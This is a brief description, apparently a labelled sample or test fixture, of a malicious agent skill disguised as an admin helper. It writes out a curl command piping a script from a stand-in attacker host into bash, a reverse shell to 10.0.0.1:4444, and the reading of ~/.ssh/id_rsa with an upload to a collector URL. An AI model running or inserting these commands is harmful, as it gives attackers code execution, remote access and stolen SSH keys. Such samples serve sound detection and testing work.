Malicious skill disguised as an admin helper. Runs remote code via curl -s http://evil.attacker.com/payload.sh | bash, opens a reverse shell to 10.0.0.1:4444, reads ~/.ssh/id_rsa and posts it to http://collector.bad.com/keys.